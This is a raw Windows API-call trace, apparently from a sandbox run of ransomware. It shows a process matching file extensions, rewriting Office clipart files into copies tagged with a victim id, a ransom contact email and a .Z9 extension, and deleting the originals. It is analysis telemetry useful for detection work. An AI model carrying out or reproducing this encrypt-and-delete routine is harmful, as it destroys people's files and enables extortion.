	[0093.914] lstrlenW (lpString=".1cd") returned 4
	[0093.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.914] lstrlenW (lpString=".jpg") returned 4
	[0093.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.914] lstrlenW (lpString=".doc") returned 4
	[0093.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.914] lstrlenW (lpString=".docx") returned 5
	[0093.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.914] lstrlenW (lpString=".pdf") returned 4
	[0093.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.914] lstrlenW (lpString=".xls") returned 4
	[0093.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.914] lstrlenW (lpString=".xlsx") returned 5
	[0093.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.914] lstrlenW (lpString=".ppt") returned 4
	[0093.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.915] lstrlenW (lpString=".zip") returned 4
	[0093.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.915] lstrlenW (lpString=".rar") returned 4
	[0093.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.915] lstrlenW (lpString=".bz2") returned 4
	[0093.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.915] lstrlenW (lpString=".7z") returned 3
	[0093.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.915] lstrlenW (lpString=".dbf") returned 4
	[0093.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.915] lstrlenW (lpString=".1cd") returned 4
	[0093.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.915] lstrlenW (lpString=".jpg") returned 4
	[0093.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.915] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.915] lstrlenW (lpString="FLAP.WMF") returned 8
	[0093.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0093.994] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2070) returned 1
	[0093.994] CloseHandle (hObject=0x384) returned 1
	[0093.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220
	[0094.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.304] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.304] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.304] GetLastError () returned 0x0
	[0094.304] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x816, lpOverlapped=0x0) returned 1
	[0094.305] WriteFile (in: hFile=0x380, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x820, lpOverlapped=0x0) returned 1
	[0094.306] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.307] WriteFile (in: hFile=0x380, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0094.307] SetEndOfFile (hFile=0x380) returned 1
	[0094.307] CloseHandle (hObject=0x380) returned 1
	[0094.307] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.307] SetEndOfFile (hFile=0x35c) returned 1
	[0094.308] CloseHandle (hObject=0x35c) returned 1
	[0094.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1
	[0094.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.308] lstrlenW (lpString=".doc") returned 4
	[0094.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.308] lstrlenW (lpString=".docx") returned 5
	[0094.308] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0094.308] lstrlenW (lpString=".pdf") returned 4
	[0094.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.308] lstrlenW (lpString=".xls") returned 4
	[0094.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.308] lstrlenW (lpString=".xlsx") returned 5
	[0094.308] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0094.308] lstrlenW (lpString=".ppt") returned 4
	[0094.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.309] lstrlenW (lpString=".zip") returned 4
	[0094.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.309] lstrlenW (lpString=".rar") returned 4
	[0094.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.309] lstrlenW (lpString=".bz2") returned 4
	[0094.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.309] lstrlenW (lpString=".7z") returned 3
	[0094.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.309] lstrlenW (lpString=".dbf") returned 4
	[0094.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.309] lstrlenW (lpString=".1cd") returned 4
	[0094.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.309] lstrlenW (lpString=".jpg") returned 4
	[0094.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.309] lstrlenW (lpString=".doc") returned 4
	[0094.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.309] lstrlenW (lpString=".docx") returned 5
	[0094.309] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0094.309] lstrlenW (lpString=".pdf") returned 4
	[0094.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.309] lstrlenW (lpString=".xls") returned 4
	[0094.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.309] lstrlenW (lpString=".xlsx") returned 5
	[0094.309] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0094.309] lstrlenW (lpString=".ppt") returned 4
	[0094.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.309] lstrlenW (lpString=".zip") returned 4
	[0094.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.310] lstrlenW (lpString=".rar") returned 4
	[0094.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.310] lstrlenW (lpString=".bz2") returned 4
	[0094.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.310] lstrlenW (lpString=".7z") returned 3
	[0094.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.310] lstrlenW (lpString=".dbf") returned 4
	[0094.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.310] lstrlenW (lpString=".1cd") returned 4
	[0094.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0094.310] lstrlenW (lpString=".jpg") returned 4
	[0094.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.310] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.310] lstrlenW (lpString="HH00443_.WMF") returned 12
	[0094.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.311] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3298) returned 1
	[0094.311] CloseHandle (hObject=0x35c) returned 1
	[0094.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220
	[0094.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.312] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.312] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.312] GetLastError () returned 0x0
	[0094.312] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xce2, lpOverlapped=0x0) returned 1
	[0094.313] WriteFile (in: hFile=0x380, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xcf0, lpOverlapped=0x0) returned 1
	[0094.314] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.314] WriteFile (in: hFile=0x380, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.315] SetEndOfFile (hFile=0x380) returned 1
	[0094.315] CloseHandle (hObject=0x380) returned 1
	[0094.315] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.315] SetEndOfFile (hFile=0x35c) returned 1
	[0094.316] CloseHandle (hObject=0x35c) returned 1
	[0094.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1
	[0094.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.316] lstrlenW (lpString=".doc") returned 4
	[0094.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.316] lstrlenW (lpString=".docx") returned 5
	[0094.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.316] lstrlenW (lpString=".pdf") returned 4
	[0094.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.316] lstrlenW (lpString=".xls") returned 4
	[0094.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.316] lstrlenW (lpString=".xlsx") returned 5
	[0094.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.316] lstrlenW (lpString=".ppt") returned 4
	[0094.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.316] lstrlenW (lpString=".zip") returned 4
	[0094.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.316] lstrlenW (lpString=".rar") returned 4
	[0094.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.317] lstrlenW (lpString=".bz2") returned 4
	[0094.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.317] lstrlenW (lpString=".7z") returned 3
	[0094.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.317] lstrlenW (lpString=".dbf") returned 4
	[0094.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.317] lstrlenW (lpString=".1cd") returned 4
	[0094.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.317] lstrlenW (lpString=".jpg") returned 4
	[0094.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.317] lstrlenW (lpString=".doc") returned 4
	[0094.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.317] lstrlenW (lpString=".docx") returned 5
	[0094.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.317] lstrlenW (lpString=".pdf") returned 4
	[0094.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.317] lstrlenW (lpString=".xls") returned 4
	[0094.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.317] lstrlenW (lpString=".xlsx") returned 5
	[0094.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.317] lstrlenW (lpString=".ppt") returned 4
	[0094.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.317] lstrlenW (lpString=".zip") returned 4
	[0094.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.317] lstrlenW (lpString=".rar") returned 4
	[0094.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.317] lstrlenW (lpString=".bz2") returned 4
	[0094.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.318] lstrlenW (lpString=".7z") returned 3
	[0094.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.318] lstrlenW (lpString=".dbf") returned 4
	[0094.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.318] lstrlenW (lpString=".1cd") returned 4
	[0094.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0094.318] lstrlenW (lpString=".jpg") returned 4
	[0094.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.318] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.318] lstrlenW (lpString="HH00513_.WMF") returned 12
	[0094.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.318] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=818) returned 1
	[0094.318] CloseHandle (hObject=0x35c) returned 1
	[0094.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220
	[0094.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.319] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.319] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.319] GetLastError () returned 0x0
	[0094.319] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x332, lpOverlapped=0x0) returned 1
	[0094.320] WriteFile (in: hFile=0x380, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x340, lpOverlapped=0x0) returned 1
	[0094.321] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.321] WriteFile (in: hFile=0x380, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.321] SetEndOfFile (hFile=0x380) returned 1
	[0094.321] CloseHandle (hObject=0x380) returned 1
	[0094.322] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.322] SetEndOfFile (hFile=0x35c) returned 1
	[0094.322] CloseHandle (hObject=0x35c) returned 1
	[0094.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1
	[0094.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.323] lstrlenW (lpString=".doc") returned 4
	[0094.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.323] lstrlenW (lpString=".docx") returned 5
	[0094.323] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.323] lstrlenW (lpString=".pdf") returned 4
	[0094.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.323] lstrlenW (lpString=".xls") returned 4
	[0094.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.323] lstrlenW (lpString=".xlsx") returned 5
	[0094.323] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.324] lstrlenW (lpString=".ppt") returned 4
	[0094.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.324] lstrlenW (lpString=".zip") returned 4
	[0094.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.324] lstrlenW (lpString=".rar") returned 4
	[0094.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.324] lstrlenW (lpString=".bz2") returned 4
	[0094.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.324] lstrlenW (lpString=".7z") returned 3
	[0094.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.324] lstrlenW (lpString=".dbf") returned 4
	[0094.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
